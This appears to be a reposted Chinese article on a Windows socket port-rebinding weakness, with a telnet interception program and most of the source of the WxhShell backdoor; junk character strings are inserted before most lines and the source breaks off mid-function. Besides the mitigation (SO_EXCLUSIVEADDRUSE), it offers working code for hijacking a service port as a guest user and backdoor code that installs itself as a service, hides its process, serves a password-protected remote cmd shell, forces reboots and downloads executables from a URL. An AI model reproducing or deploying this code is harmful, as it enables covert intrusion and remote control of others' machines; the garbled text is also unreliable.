在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
JQSczE3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
E#\'$@8j IW=%2n(<1 saddr.sin_family = AF_INET;
&7KX`%K"D ~uuM0POo saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ZSn6JV'g z=TuUl@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
v&xhS
yZ zI_pP?4;.q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
SA~oGgk=P ]C>h_,EZc 这意味着什么?意味着可以进行如下的攻击:
nz Klue jtPHk*>^wu 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
q^b12@.
vZIx> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
:~~\{fm :-j/Y'H_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/Tp>aW%}"
QLZ%m $Z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
N._^\FRyn (n2=.9k! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
[L?WM>]% V QbKrnX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
/Mw0<# oMKG M@V 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
.FvIT]k- IDp2#qg_ #include
LF!S`|FF #include
MYUL y2) #include
dDqT#N?Y #include
z*WQ=l2 DWORD WINAPI ClientThread(LPVOID lpParam);
XpdjWLO]C< int main()
$~T|v7Y% {
2l +t- WORD wVersionRequested;
xsg55` DWORD ret;
kj`h{Wc[) WSADATA wsaData;
T>m|C}yy BOOL val;
1fV\84m^ SOCKADDR_IN saddr;
-\g@s@5 SOCKADDR_IN scaddr;
xgWVxX^) int err;
D}?JX5. SOCKET s;
wArzMt}[ SOCKET sc;
'^BTa6W}m int caddsize;
_j]vR HANDLE mt;
sl*&.F,v= DWORD tid;
OmaG|2u wVersionRequested = MAKEWORD( 2, 2 );
1pTQMf a err = WSAStartup( wVersionRequested, &wsaData );
J!iKW if ( err != 0 ) {
bRx}ih printf("error!WSAStartup failed!\n");
Bacmrf return -1;
n;r
W }
!D9V9p saddr.sin_family = AF_INET;
=]-D_$S~ uD:tT~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8[u$CTl7a SOvo%L@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
uD4$<rSHb saddr.sin_port = htons(23);
l6-%)6u> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
j8?rMD~ {
JjHQn=3AJ printf("error!socket failed!\n");
?YnB:z*eV return -1;
%kiPE<<x }
6{2 9cX. val = TRUE;
\C`2z]V% //SO_REUSEADDR选项就是可以实现端口重绑定的
8o,"G}Hjk if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
CPu~^ik {
0y=lf+xA* printf("error!setsockopt failed!\n");
*"j3x}
U< return -1;
Oy yE0 }
!p3vnOX6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
fUB+9G(Bx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Kk/cI6`W //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
\`YV)"y" ~ fCi1JH; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
^j7]> I {
"=* ret=GetLastError();
U_5\FM printf("error!bind failed!\n");
E1>zKENN; return -1;
&=laZxe }
UvVq# <- listen(s,2);
f/g-b]0 while(1)
Cx
;n#dn* {
[K `d?& caddsize = sizeof(scaddr);
LS4E.Xdn //接受连接请求
.Yxf0y?uv sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
$e,'<Jl if(sc!=INVALID_SOCKET)
$%5!CD1) {
>('Z9<|r: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
D<xDj#Z~1 if(mt==NULL)
e",0Er FT {
x$24Nc1a' printf("Thread Creat Failed!\n");
I=}R
Z9 break;
X&.LX }
hi9@U]H# }
CR`}{?2H CloseHandle(mt);
R TeG\U }
,%,.c^- closesocket(s);
9C\@10 D WSACleanup();
i,y7R?-K return 0;
KgEfhO$W }
;Y`k-R:E6A DWORD WINAPI ClientThread(LPVOID lpParam)
X8(WsN {
)[5 .*g@ SOCKET ss = (SOCKET)lpParam;
f=nVK4DuZ SOCKET sc;
i
UW.$1l unsigned char buf[4096];
G0v<`/|>} SOCKADDR_IN saddr;
z229:L6" long num;
w&LL-~KI+ DWORD val;
R5MY\^H/A DWORD ret;
{&.?u1C.\ //如果是隐藏端口应用的话,可以在此处加一些判断
4$8\IJ7G //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
S{c;n*xf saddr.sin_family = AF_INET;
??=7pFm saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
oOHr~< saddr.sin_port = htons(23);
LArfX,x3i if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Vc|uQ8Mi {
[^A>hs* printf("error!socket failed!\n");
pc/]t^]p return -1;
|%5nV=&\ }
$rz'Ybs val = 100;
hOIk6}r4X if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-LEpT$v| {
5gY9D!;:0D ret = GetLastError();
<^wqN!/ return -1;
p`{ | [< }
^0T[V-PgiD if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\UBQ:+3 {
'@eH)wh@m) ret = GetLastError();
Y(P<9m: return -1;
T'e
p&tNY }
KVCj06}j if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
?\![W5uuXG {
GYNLyd) printf("error!socket connect failed!\n");
?$AWY\ closesocket(sc);
~[4zm$R^ closesocket(ss);
g=x1}nm return -1;
[;hCwj# }
SDICN0X* while(1)
Y!lc/[8 {
5 _
a-nWQ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
j-wz7B //如果是嗅探内容的话,可以再此处进行内容分析和记录
JM Ikr9/$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
S*?x|&a num = recv(ss,buf,4096,0);
RaLc}F)9 if(num>0)
/a:L"7z send(sc,buf,num,0);
(Y$48@x else if(num==0)
Shb"Jc_i break;
RT+_e num = recv(sc,buf,4096,0);
5mB'\xGO2 if(num>0)
z7um9g send(ss,buf,num,0);
TeWpdUCO else if(num==0)
$(eqZ<y break;
?<-ins }
oY0`igH closesocket(ss);
UqZ#mK i closesocket(sc);
MuQ'L=i J return 0 ;
Yq0=4#_ }
K44j-Ypb 9!|+GIjn @mId{w z ==========================================================
My JG2C#R 6pY<,7t0 下边附上一个代码,,WXhSHELL
Y'v;!11#
y]TNjLpo$ ==========================================================
9V( esveq ?br 4 wl #include "stdafx.h"
[u}2xsSx &%`Y>\@f #include <stdio.h>
3Mt Alc0xp #include <string.h>
x$Tf IFy #include <windows.h>
=
~^
#include <winsock2.h>
MJ0UZxnl #include <winsvc.h>
(YH/#n1"{ #include <urlmon.h>
(GI]Uyn
Y+'522er #pragma comment (lib, "Ws2_32.lib")
g?d*cwtU #pragma comment (lib, "urlmon.lib")
zCdzxb_h" N_),'2 #define MAX_USER 100 // 最大客户端连接数
JW-!m8 #define BUF_SOCK 200 // sock buffer
5D%gDw+" #define KEY_BUFF 255 // 输入 buffer
A%c)=(, J{bNx8.& #define REBOOT 0 // 重启
#Bgq]6G2 #define SHUTDOWN 1 // 关机
KK4"H]!. .WT^L2l% #define DEF_PORT 5000 // 监听端口
f:|O);nM hXx. #define REG_LEN 16 // 注册表键长度
?\$\YX%/p #define SVC_LEN 80 // NT服务名长度
KL\]1YX a#G]5TZ // 从dll定义API
cPm-)/E)i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
S|?Ht61k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
N"wp2w typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
%1jApCJ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*.ZU" 5e aR~Od Ys // wxhshell配置信息
I~.d/!>Z struct WSCFG {
<OC|z3na_ int ws_port; // 监听端口
<m3or char ws_passstr[REG_LEN]; // 口令
T^~9'KDd int ws_autoins; // 安装标记, 1=yes 0=no
yL>wCD,L char ws_regname[REG_LEN]; // 注册表键名
u t4+c0 char ws_svcname[REG_LEN]; // 服务名
,Y3wXmG char ws_svcdisp[SVC_LEN]; // 服务显示名
?Ok@1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
2?bE2^6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+|=5zWI/ int ws_downexe; // 下载执行标记, 1=yes 0=no
7yK1Q_XY> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
x3++JG char ws_filenam[SVC_LEN]; // 下载后保存的文件名
J\ V.J/ 3Ta<7tEM };
Cq-#|+zr .6D9m.Q, // default Wxhshell configuration
}lzN)e struct WSCFG wscfg={DEF_PORT,
]9}T)Df' "xuhuanlingzhe",
bhb*,iWA 1,
bn$}U.m$- "Wxhshell",
11Hf)]M
"Wxhshell",
"Nn+Zw43 "WxhShell Service",
bG6<=^ "Wrsky Windows CmdShell Service",
+$x;FT& "Please Input Your Password: ",
w>W`8P_b@ 1,
f YuM`O "
http://www.wrsky.com/wxhshell.exe",
^sjL@.'m$N "Wxhshell.exe"
L!]~J?) };
sUP!'Av @~l?hf // 消息定义模块
>.-$?2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
X;?Z_3I:5 char *msg_ws_prompt="\n\r? for help\n\r#>";
7JNy;$]/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2m?!!Weq char *msg_ws_ext="\n\rExit.";
o-D,K dY char *msg_ws_end="\n\rQuit.";
Iu -CXc char *msg_ws_boot="\n\rReboot...";
9IRvbE~2 char *msg_ws_poff="\n\rShutdown...";
_\tGmME37 char *msg_ws_down="\n\rSave to ";
GK/Q]}Q8pZ 9C{\=?e; char *msg_ws_err="\n\rErr!";
3koXM_4_{) char *msg_ws_ok="\n\rOK!";
A'\jaB ]U,K]y[Bj char ExeFile[MAX_PATH];
U|%y`PZ int nUser = 0;
k<M~co;L HANDLE handles[MAX_USER];
aumXidbS int OsIsNt;
o,sw[ T"GuE[?a SERVICE_STATUS serviceStatus;
p~sfd SERVICE_STATUS_HANDLE hServiceStatusHandle;
OZ$"P<X_" I'[hvp // 函数声明
z]YP int Install(void);
-*K!JC- int Uninstall(void);
`>q|_w\e int DownloadFile(char *sURL, SOCKET wsh);
B~u_zZE int Boot(int flag);
s\`Vr;R:| void HideProc(void);
|;-,(509 int GetOsVer(void);
_0rHxh7}q int Wxhshell(SOCKET wsl);
G D$jP? void TalkWithClient(void *cs);
28j=q-9Z int CmdShell(SOCKET sock);
ZQ^kS9N i int StartFromService(void);
$nOd4{s_ int StartWxhshell(LPSTR lpCmdLine);
A!kNqJ2 YORFq9a{R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
7\
<4LX VOID WINAPI NTServiceHandler( DWORD fdwControl );
q-.e9eoc\ l}DCK // 数据结构和表定义
x Qh? SERVICE_TABLE_ENTRY DispatchTable[] =
a9E!2o+, {
S%ri/}qI[{ {wscfg.ws_svcname, NTServiceMain},
h]94\XQ>$ {NULL, NULL}
@HfWAFT };
RT45@
O8+[)+6^ // 自我安装
%(-YOTDr int Install(void)
-%=StWdb
{
:{9|/a char svExeFile[MAX_PATH];
[hg|bpEG HKEY key;
T2wn!N?r strcpy(svExeFile,ExeFile);
afEp4(X~ f/b }X3K // 如果是win9x系统,修改注册表设为自启动
-?b@ 6U if(!OsIsNt) {
>EMgP1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L-d8bA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
c=2e? RegCloseKey(key);
*x|
<\_+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{zGIQG9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
OvPy+I RegCloseKey(key);
V=|^r? return 0;
Y\T*8\h_[ }
rI}E2J }
&F}1\6{fL }
&bJ98Nxl else {
=3=KoH/' zJMKgw,i* // 如果是NT以上系统,安装为系统服务
F.=uJdl.! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'KGY;8<x] if (schSCManager!=0)
e![Q1!r {
D^PsV SC_HANDLE schService = CreateService
[&*$!M (
{K'SOhH4? schSCManager,
wN)R !6 wscfg.ws_svcname,
| 4I x2GD wscfg.ws_svcdisp,
bE>3D#V< SERVICE_ALL_ACCESS,
ABV\:u SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
,l<-*yMD SERVICE_AUTO_START,
2vnzB8"k SERVICE_ERROR_NORMAL,
FGx_qBG4| svExeFile,
4Uf+t?U9 NULL,
G
7)D+],{Y NULL,
v%<_Mh NULL,
fC3IxlG NULL,
#|XEBOmsQ NULL
0iXqAa );
ke>\.|HT} if (schService!=0)
1TQ$(bI {
*vhm CloseServiceHandle(schService);
tL+8nTL CloseServiceHandle(schSCManager);
zs"AYxr strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>`NY[Mn strcat(svExeFile,wscfg.ws_svcname);
b=T+#Jb if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
VP 4t~$" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
~DZ;l/&Mz7 RegCloseKey(key);
p2~Q return 0;
&SN$D5U' }
d L%E0o }
i`]M2Q CloseServiceHandle(schSCManager);
\ b9,> }
na']{a1K }
A?}OOjA
k7{fkl9|# return 1;
ga^<_;5< }
\N#)e1.0P xN"KSQpu // 自我卸载
\Di~DN1 int Uninstall(void)
<vt^=QA' {
)dL?B9d: HKEY key;
0K3FH&.% ($(1KE if(!OsIsNt) {
*vAOUqX`x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e3>Re![_. RegDeleteValue(key,wscfg.ws_regname);
-N\{QX1Yd RegCloseKey(key);
K[sM)_I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)Elr8XLw RegDeleteValue(key,wscfg.ws_regname);
9jPb-I- RegCloseKey(key);
/#G"'U/ return 0;
{t/!a0\HS }
<M'IRf/D }
S,(@Q~ }
iKabo,~ else {
$PS5xD~@ b"FsT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
,t+ATaOF if (schSCManager!=0)
r3j8[&B" {
Zc4hjg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Ic=V: if (schService!=0)
H+5]3>O-$ {
aY:(0en]& if(DeleteService(schService)!=0) {
<Ab:yD`K! CloseServiceHandle(schService);
1M;)$m: CloseServiceHandle(schSCManager);
.sG,TLE[< return 0;
ONjc},_ }
O[L8(+Sn CloseServiceHandle(schService);
wO!hVm,Ta }
Y!7P>?)`,X CloseServiceHandle(schSCManager);
k(qQvn }
}"&(sYQ*` }
Ro1' L1: 17i^|&J6}: return 1;
* Yr-:s9J9 }
xY'g7<})$ ,xh9,EpBk // 从指定url下载文件
&vF "I'V int DownloadFile(char *sURL, SOCKET wsh)
)(L&+DDy {
<@vE3v; HRESULT hr;
;ZqFrHI M` char seps[]= "/";
AX,Db%`l, char *token;
tJu<#hX char *file;
P~qVr#eU char myURL[MAX_PATH];
-mkync3 char myFILE[MAX_PATH];
bp$jD JZXc1R| 9 strcpy(myURL,sURL);
Ksp;bfe token=strtok(myURL,seps);
"
}ZD)7K while(token!=NULL)
!>:tF,fcB {
=5|5j!i=q file=token;
j>b OnCp~ token=strtok(NULL,seps);
XP` kf]9 }
v4zd
x) 5,c` GetCurrentDirectory(MAX_PATH,myFILE);
u9gr@06 strcat(myFILE, "\\");
>ATW/9r strcat(myFILE, file);
kxmS send(wsh,myFILE,strlen(myFILE),0);
|K_B{v. send(wsh,"...",3,0);
f!J^vDl hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
^`!Daqk if(hr==S_OK)
$"FdS,*qKl return 0;
F:@Ixk?E else
,pASjFWi return 1;
piG1&* h[8y$.YsC }
#CS>A#Lk lX4p'R-h // 系统电源模块
2bJFlxEU int Boot(int flag)
c'B"Onu@m* {
IID(mmy6
L HANDLE hToken;
J7_H.RPa TOKEN_PRIVILEGES tkp;
!:t9{z{Ixg |i`@!NrFL if(OsIsNt) {
E&+^H
on OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6-=_i)kzq LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
}gW}Vr < tkp.PrivilegeCount = 1;
7asq]Y}< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'MUrszOO.e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
qc6IH9i` if(flag==REBOOT) {
%yMzgk[u if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
`-H:j:U{ return 0;
YzZF^q^I }
:65HMWy. else {
f$>orVm%. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
m#nxw return 0;
cBI)? }
%8L<KJd }
mb/[2y < else {
ffM(il/2 if(flag==REBOOT) {
5G<CDgl^! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4cQ5E9 return 0;
mvgm o }
Flxo%g}; else {
`0^i
# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
* jK))|% return 0;
vs. uq }
@;6}xO2 }
cWc)sb $P(nh'\ return 1;
#FB>}:L{h* }
[!&k?.*;< A,{D9-% // win9x进程隐藏模块
FZnHG;af void HideProc(void)
.NT&>X~.V {
zcKC5vqb ElXe=5L\# HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
6
b}feEh$! if ( hKernel != NULL )
V@S/!h+ {
!7)ID7d pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5Mr;6
]I< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
u =kSs FreeLibrary(hKernel);
g8+,wSE }
@(c<av? @S7=6RKa[ return;
H040-Q;S' }
:
xZC7" aELT"b,x // 获取操作系统版本
h!K2F~i{P int GetOsVer(void)
^qx\ e$R {
a{*'pY(R0$ OSVERSIONINFO winfo;
Z5Ihc%J^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
_)E8XyzF GetVersionEx(&winfo);
qm=F6*@} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
0xUj#) return 1;
@izi2ND else
Q)BoWd return 0;
4p8jV*:@{ }
f*vk1dS:*3 mzB#O;3= // 客户端句柄模块
pqN[G=0 int Wxhshell(SOCKET wsl)
uS#Cb+*F {
K=x1mM+RK SOCKET wsh;
{H;|G0tR struct sockaddr_in client;
t!SQLgA DWORD myID;
E$tk1SVo +~Lzsh" while(nUser<MAX_USER)
3c ^=<i
% {
j{R|]SjW2H int nSize=sizeof(client);
d:pm|C|F wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
%`T5a< if(wsh==INVALID_SOCKET) return 1;
M3@fc,Ch 6Y)^)dOi handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!*Z)[[ if(handles[nUser]==0)
e K1m(E.= closesocket(wsh);
pE/3-0;}N else
d4>-a^)V nUser++;
8ex:OTzn| }
rg^\BUa-W, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
4VJzs$ 2Lekckgv return 0;
'lsq3!d. }
e'Us(]ZO yr9A0F0 // 关闭 socket
|C6(0fgWd void CloseIt(SOCKET wsh)
ICbdKgLz {
Zmbz-##HQ closesocket(wsh);
qV8\/7'A0a nUser--;
Ym{%"EB ExitThread(0);
gpK_0?% }
jnp6qpY{ Bb[e[,ah // 客户端请求句柄
gDNTIOV void TalkWithClient(void *cs)
_K}_h\e. {
5m USh3 G\>\VA SOCKET wsh=(SOCKET)cs;
uxMy1oy char pwd[SVC_LEN];
3b)T}g char cmd[KEY_BUFF];
y8*@dRrq char chr[1];
D2%G.z int i,j;
[G[{l$E it O|OSE while (nUser < MAX_USER) {
a^\- }4yR PtQ# if(wscfg.ws_passstr) {
@~#79B"9& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
AzO3 (1: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
EXW
6yXLV //ZeroMemory(pwd,KEY_BUFF);
wJos'aTmE i=0;
k3/JQ]'D while(i<SVC_LEN) {
[^d6cMEOlc ok%a|Zz+] // 设置超时
z?uQlm*We fd_set FdRead;
aRO_,n9 struct timeval TimeOut;
@z$pPo0fW FD_ZERO(&FdRead);
D0y,TF FD_SET(wsh,&FdRead);
`-K)K< TimeOut.tv_sec=8;
/zG-\e U TimeOut.tv_usec=0;
v(@+6#& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
S5E,f?l if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
OZB}aow &>zy_) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
?fa,[r|G pwd
=chr[0]; l`FR.)2h
if(chr[0]==0xd || chr[0]==0xa) { a EFe!_QY
pwd=0; w
HHF=Q
break; w[YkTv
} v`+n`DT
i++; _2gT1B
} Z!RRe]"y
J'&B:PZObB
// 如果是非法用户,关闭 socket IJ_'w[k
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mam5G!$
} *Nf4bH%MN
4&]To@>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z)W#&JFF
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -4y)qGb*?
o.A}``
while(1) { t=W$'*P0}
Ca5Sc, no
ZeroMemory(cmd,KEY_BUFF); kJ#[UCqzM
fJn3"D'
// 自动支持客户端 telnet标准 7\0|`{|R@
j=0; ;!0.Kk
4
while(j<KEY_BUFF) { g=oeS%>E
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 76IALJ00V
cmd[j]=chr[0]; yNqm]H3<MP
if(chr[0]==0xa || chr[0]==0xd) { DNm7z[t{
cmd[j]=0; X$uz=)
break; )kL`&+#>
} Bgk~R.l
j++; 9-a2L JI
} im4e!gRE
.sJys SA\
// 下载文件 ^Z-.[Y
if(strstr(cmd,"http://")) { $ gr6
send(wsh,msg_ws_down,strlen(msg_ws_down),0); B'KXQa-$O
if(DownloadFile(cmd,wsh)) 9o_ g_q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qrM{b=
else Ft"&NtXeZZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MgH1d&R
} zqvRkMWc M
else { vSYunI
@wEKCn|}o
switch(cmd[0]) { _
r^90
+YQ~t,/
// 帮助 FU]8.)`G
case '?': { hk7(2j7B
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); liugaRO8J
break; gc,J2B]61
} y,y/PyN)
// 安装 5Aa31"43n
case 'i': { o&hKg#nO83
if(Install()) *3.yumcv{L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I!F}`d
else ,Ou1!`6?t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %2Xus9;k#
break; f 74%YY
} ~C/Yv&58
// 卸载 e_I; y
case 'r': { 0uVk$\:i
if(Uninstall()) r3[t<xlFf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r}_Lb.1]
else ;l/}Or2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .y %pGi
break; M9(ez7Z
} {.aK{
V
// 显示 wxhshell 所在路径 W2F+^
case 'p': { Nh1e1m?
char svExeFile[MAX_PATH]; 0okO+QU,a
strcpy(svExeFile,"\n\r"); ;B|^2i1Wi
strcat(svExeFile,ExeFile); #uD)0zdw
send(wsh,svExeFile,strlen(svExeFile),0); e9z$+h
break; u|m[(-`
} gJ FR1
// 重启 B&4fYpn
case 'b': { e?^\r)1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3r~>~ueZ
if(Boot(REBOOT)) PmPyb>HK=P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HO%E-5b9
else { 2d5}`>
closesocket(wsh); #sz]PZ\
ExitThread(0); 2A*X Hvwb
} bk\dy7
break; ;xW8Z<\-
} #Dj"W8'zh
// 关机 ?Kx6Sf<i
case 'd': { 95.qAFB1
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cW81
if(Boot(SHUTDOWN)) R/ALR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z9k*1:
else { g:3d<CS
closesocket(wsh); msA' 5>
ExitThread(0); ShL1'Z}^{
} X[GIOPDx
break; VZT6;1TD$8
} 1&X}1
// 获取shell h.4qlx|
case 's': { ysSjc
CmdShell(wsh); 38V $ <w
closesocket(wsh); 7af?E)}v
ExitThread(0); Qa,NGP.
break; itqQ)\W
} 90
// 退出 1KeJd&e
case 'x': { egZyng
pB
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
Pcs^@QP
CloseIt(wsh); 8 *4@-3Sx
break; _-4n~(
} :0
W6uFNOU
// 离开 tx^92R2/
case 'q': { +Od1)_'\D3
send(wsh,msg_ws_end,strlen(msg_ws_end),0); *A~($ZtL
closesocket(wsh); ;jRL3gAe)
WSACleanup(); [n!$D(|"!V
exit(1); 9nT?|n]>
break; kJ%{ [1fr
} QRsqPh&-
} ;Ri 3#*a=
} ~v.jZ/h
~mN g[]
// 提示信息 ?ada>"~GR_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @+}rEe_(
} JfI aOhKs]
} (\Rwf}gyR
C/mg46
v2W
return; @MNl*~'$.[
} [MV`pF)x
ry$tK"v/
// shell模块句柄 *hv=~A
$q
int CmdShell(SOCKET sock) 7[ZkM+z!
{ r/UYC"K3
STARTUPINFO si; R'S c
ZeroMemory(&si,sizeof(si)); 7MKD_`g
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <'r0r/0g?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Iv'RLM
PROCESS_INFORMATION ProcessInfo; NY4!TOp
char cmdline[]="cmd"; NzjMk4t
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lr9=OlH
return 0; ?wGiog<Q{
} JaH*
rDs-
l_^T&xq8
// 自身启动模式 Oamv9RyDvC
int StartFromService(void) Kg4QT/0VA
{ zt7_r`#z
typedef struct hNH.G(l0
{ *,E;
DWORD ExitStatus; kxwNbxC
